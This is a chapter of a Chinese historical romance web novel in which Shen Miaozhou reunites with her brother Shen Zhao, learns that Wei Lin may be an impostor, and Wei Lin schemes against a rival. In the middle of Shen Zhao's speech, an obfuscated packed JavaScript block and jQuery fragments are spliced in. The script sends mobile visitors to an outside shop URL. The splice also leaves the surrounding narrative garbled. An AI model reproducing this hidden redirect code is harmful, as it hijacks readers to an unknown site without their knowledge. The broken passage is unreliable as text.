17. 沈钊
    那人的身子略微一僵,随后低笑一声,嗓音懒洋洋的,带着点无奈:“祖宗,这么快就看出来了?”

    “这般张扬的红衣,除了阿兄还会有谁呀?”沈妙舟得意地笑了笑,抬手掀开他的斗笠。

    月光皎皎,斗笠下露出来的那张脸,线条利落,鼻梁高挺,一双桃花眼含笑望着她,平添几分风流。

    可不正是她阿兄沈钊。

    沈妙舟一把搂住他胳膊,嗓音雀跃,叽叽喳喳问个不停:“你什么时候回来的?祁王舅舅知道么?你怎么找到我的?”

    “还好意思问?”沈钊笑意微收,睨她一眼,抬指戳了戳她脑门,“一年不见,咱们郡主胆子真是越发的大了,嚯,竟然扮成旁人和那姓卫的鹰犬成亲了!”

    沈妙舟揉了揉额头,有点心虚地笑笑,小声道:“不过是权宜之计……”

    沈钊凉笑:“啧,我这当哥哥的还不如个外人,咱们郡主如此别具一格的权宜之计,竟还是从冯叔那听来的。”

    沈妙舟嘻嘻一笑,“阿兄自然不会和我计较。”

    沈钊不冷不热地“哼”了一声,低头看看她的模样,眉心蹙起:“老实告诉我,那姓卫的……可有欺负你?”

    沈妙舟不可思议地反问,“谁能欺负得了我?”

    想了想,她又笑着补充:“更何况卫凛生的那般俊俏,我又不会吃亏嘛。”

    “俊俏?有多俊俏?能有我俊俏?”沈钊不屑地一哂,斜她一眼,叹了口气,“义父失踪,我定会将他寻回来,哪里要你把自己搭进去?”

    提到爹爹失踪的事,想起那夜在相国寺乍一听闻焦尸时的心绪震荡,沈妙舟笑意一僵,神色微黯。

    她转身寻了处没有积雪的瓦片坐下,一手托腮,叹了口气:“你不知道的。事情一出,我真的害怕爹爹他……唉,哪里还等得及。”

    眼前的姑娘瘦瘦小小一只,发髻有些乱糟糟的,衣服也染了脏污,整个人狼狈又可怜。

    沈钊喉咙微微发紧,朝她走过去。

    “不过我今夜大有收获。”沈妙舟深吸一口气,抬起头,水盈盈的杏眼里又带上了几分笑意,“爹爹他八成还活着!”

    沈钊心底忽然一松。

    她总是这样,哪怕境况再难,也从不垂头丧气个没完,总是笑盈盈的,明明生得瘦弱,却又偏偏透着股顽强的倔劲。

    他问:“怎么讲?”

    沈妙舟将方才验尸的情状粗略地与他说了一遍。

    沈钊眼中亮了亮,正要说话,忽然听见“咕噜——”一声,动静不大,可在寂静的暗夜里分外明显。

    沈妙舟:“……”

    沈钊低低笑起来,挨着她坐下,从怀里摸出一个油纸包在她眼前晃了晃:“饿了?瞧瞧我给你带了什么好东西。”

    “栗子糕嘛,我早都闻见啦。”沈妙舟一把接住,眉眼弯弯,“多谢阿兄。”

    “啧,还会道谢,算你有良心。”沈钊抬手揉了揉她乱糟糟的头发。

    沈妙舟取一块点心放进嘴里,含混着问:“阿兄是在茶楼看见我的?”

    沈钊“唔”了一声,“我赶在关城门前才到,在公主府没寻到你,转头去了冯叔的钗环铺,听他说你出门办事,反正闲着也是闲着,便来泰丰茶楼买些栗子糕。”

    他顿了顿,语气不善,“没成想,竟然就撞见你在和人打斗。那厮是谁?明个儿我非去弄死他不可!”

    沈妙舟讪讪。

    ……巧了不是,他就是卫凛。

    只怕你知道了,等不及明天,今晚就要去弄死他了。

    “没什么啦,是个锦衣卫,他被我伤得更重。”沈妙舟将嘴里的栗子糕咽下去,挑起个别的话头,“不过我都扮成这个样子了,阿兄竟然也能认出来?”

    虽然没有假扮秦舒音时那么细致,但她觉得自己乔装得也很好啊,眉毛、肤色、脸型都有特意伪装过的。

    沈钊轻笑一声,抬手将她脸上的伪装抹干净:“起先呢,我也没认出来。不过没多久,你阿兄我便看清了那柄玉刀。除了你,还能有谁?”

    说起玉刀,沈妙舟一愣,想起卫凛被她刺中的那一下。

    她没想真的会刺中他的。

    卫凛看着冷冰冰的,但她总觉得,他其实并没有像传闻中的那样冷血无情,不把别人的命当命。他的冷,更像是晴日映照的高山皑雪,带着那么一丝若有似无的温煦。

    他会在惊马时救她,还会给她搓雪球,甚至连用来威胁她的毒丸,竟都是假的。

    哪里像个心狠手辣的魔头嘛。

    所以虽说卫凛态度一向算不得好,她对他倒也不讨厌。

    若说先前她还忌惮他和爹爹的失踪脱不了干系,可在方才,她却从他的言辞间发现了不寻常。

    看他对杀手楼的态度,竟是敌意偏多。

    他不像是杀手楼的暗线,倒更像是从楼中叛逃出来的人……

    这样说来,那日相国寺灭口王世良的杀手,如无意外,应当并非是受他之命,甚至很有可能,她和卫凛的立场,是相同的。

    “想什么呢?祖宗。”沈钊伸手,在她眼前上下晃了晃。

    沈妙舟回过神,站起身道:“阿兄,时辰不早了,咱们先回冯叔那里罢。”

    沈钊一愣:“不回公主府?”

    沈妙舟摇摇头:“盈霜还在那等着呢,我得带上她一起回卫家。”

    沈钊觉得自己是听错了,瞬间坐直了身子:“诶,不是,你要去哪?”

    “回卫家呀。”沈妙舟答。

    沈钊不可思议:“我说祖宗,你当初和那姓卫的假成亲,是为了探查大同那具焦尸是不是义父,没错吧?”

    “没错啊。”

    “那如今已有分晓,你还回去那狼窝作甚?你我直接去大同寻人不就成了?”

    沈妙舟看他一眼,比了个捏的手势,“大同我早就去过了,眼下公主府还有十几个家将在大同呢,可是就连这么一点点的线索都没有。”

    沈钊一噎,没好气道:“难不成,那姓卫的便有线索了?”

    沈妙舟觉得理所当然:“自然,若我猜的没错,卫凛的人应该在搜查吴知府的下落。吴知府是最后一个见过爹爹的人,若是能找到他,借着这条线往下查,可比我们当无头苍蝇有用多了。”

    而且看起来卫凛与杀手楼有仇,或许还可以利用这一点,与他合作。

    不过后面这话她没说,毕竟事涉杀手楼,说出来怕要惹得阿兄担心。

    沈钊思量片刻,眉心越拧越紧:“不成,今夜动静不小,难保那厮不会生疑,卫家不能再回去了。大不了我盯紧那姓卫的,等吴大人一露面,想个法子把他劫出来便是。”

    沈妙舟不以为意:“以我的本事,自保不成问题的。”

    更何况,卫凛也没那么吓人呀。

    沈钊脸一沉,从怀里掏出张信笺递给她:“小姑奶奶,你先瞧瞧这个再说。”

    沈妙舟有些莫名地接过信笺,对着月光展开。

    “你可清楚姓卫的那厮到底是什么人?巧了,去金陵的密探和我前后脚进的城,你是假乡君,哈,他恐怕也不是真卫凛。”

    沈钊随手抓起身旁的落雪,团了个雪球,在手里掂了掂,“五年前,他领命随队去淮安追捕逆匪,结果同去

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|11956207|127471||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的缇骑都死了,唯独他命大没死,虽然重伤到只剩一口气,却刚好被陈宗玄救了下来,带回京师。啧,是不是很有意思?”

    沈妙舟杏眸凝住。

    五年前,淮安……她记得,杀手楼总舵就设在淮安府,而它覆灭也是在五年前,世上竟有如此巧合么?

    可是从金陵来的那个刘仁,似乎又与他很熟,二人相见,也并无异样,是卫凛相貌没什么变化,还是他同自己一样,易容了?

    沈妙舟收起信笺,若有所思地笑了笑,“有意思极了。那我更要回去会一会他。”

    沈钊气得瞪直了眼:“?”

    沈妙舟安抚道:“阿兄放心啦,我有分寸的。这段时日,便劳烦阿兄盯紧公主府外宵小的动作,成不成?”

    小姑娘笑眯眯的望过来,像只摇着毛茸茸尾巴的小狐狸,看得人心里直发酥。

    沈钊对她没法子,移开视线,硬梆梆道:“成吧,最多七天,若是七天内他没寻来吴叔……”

    “我就和阿兄去大同!”沈妙舟痛快应下。

    “……这还差不多。”沈钊轻哼。

    “对了,还有一事。”沈妙舟忽然想起来,“爹爹失踪的事,你没告诉祁王舅舅罢?”

    沈钊睨她一眼:“小姑奶奶信中有命,我岂敢不从?况且近来皇帝身子不好,越发忌惮王爷,明里暗里的探子去了好几波,王爷被闹得烦不胜烦,进道观闭关了。”

    如此便好。

    倘若祁王舅舅知晓此事,依他的脾性,必然要派人帮忙探查,拦都拦不住。他本就遭皇帝猜忌,若是走漏些风声,恐怕会有大麻烦,他不知道便是最好。

    沈妙舟心下微松,和沈钊一道回往钗环铺。

    **

    北镇抚司内衙。

    屋内炭盆烧得正旺,暖意如春。

    卫凛松松披了一件牙白里衣,闭目仰靠在圈椅里,脸色略有些苍白。

    “兴元赌坊的吴奎可招认了?”卫凛开口,嗓音微哑。

    长廷正低头收拾那一地染了血的棉布巾帕,听见他问话,低声答:“是,大都交代了,不过咬死了不知是受何人指使。”

    “他称是自己妻儿忽然失了踪迹,紧接着就有人寻来,要他将王世良欠债还债之事统统抹掉,还教他若是哪日被锦衣卫抓了去,定要死不承认,等到您露面再攀咬他主家。”

    卫凛淡淡地“嗯”了一声,“把他攀咬崔家的那张供状收进卷宗,移交给刑部。等过些时日,崔家事了,再寻个机会,将你录的这份送到陆烽手上。”

    长廷抿了抿唇,欲言又止。

    卫凛掀起眼帘,看向他:“说。”

    长廷默了片刻,咬牙开口:“主子,我不明白,若没有您,陆烽那厮如何能坐上南镇抚使的位子?可他不念恩情便算了,竟还总是暗地里耍阴招!若把这供状送给他,那不是给他递刀子,让他检举您包庇偏袒真凶、栽赃陷害崔家么?”

    卫凛轻哂:“无妨。我只怕他手里没刀。”

    长指不疾不徐地轻扣着桌面,他继续道:“还有,李莹娘那桩案子来得正好,你们将翻案的声势闹得大些,闹到陆烽来求我为止。”

    长廷绷紧唇角,不甚情愿地应下:“……是。”

    “别担心,我心中有数,还不想死。”指腹轻轻摩挲着金丝笼的纹路,卫凛垂眸,视线落在桌前那柄染血的玉刀上,轻笑了一声,“毕竟,我发现了更有趣的事。”

    更漏声响,已近亥末,就快子时了。

    卫凛捂着伤处缓缓站起身,看向屋外,语气中带了一丝玩味:“回府。去看看我那位夫人……可还老实。”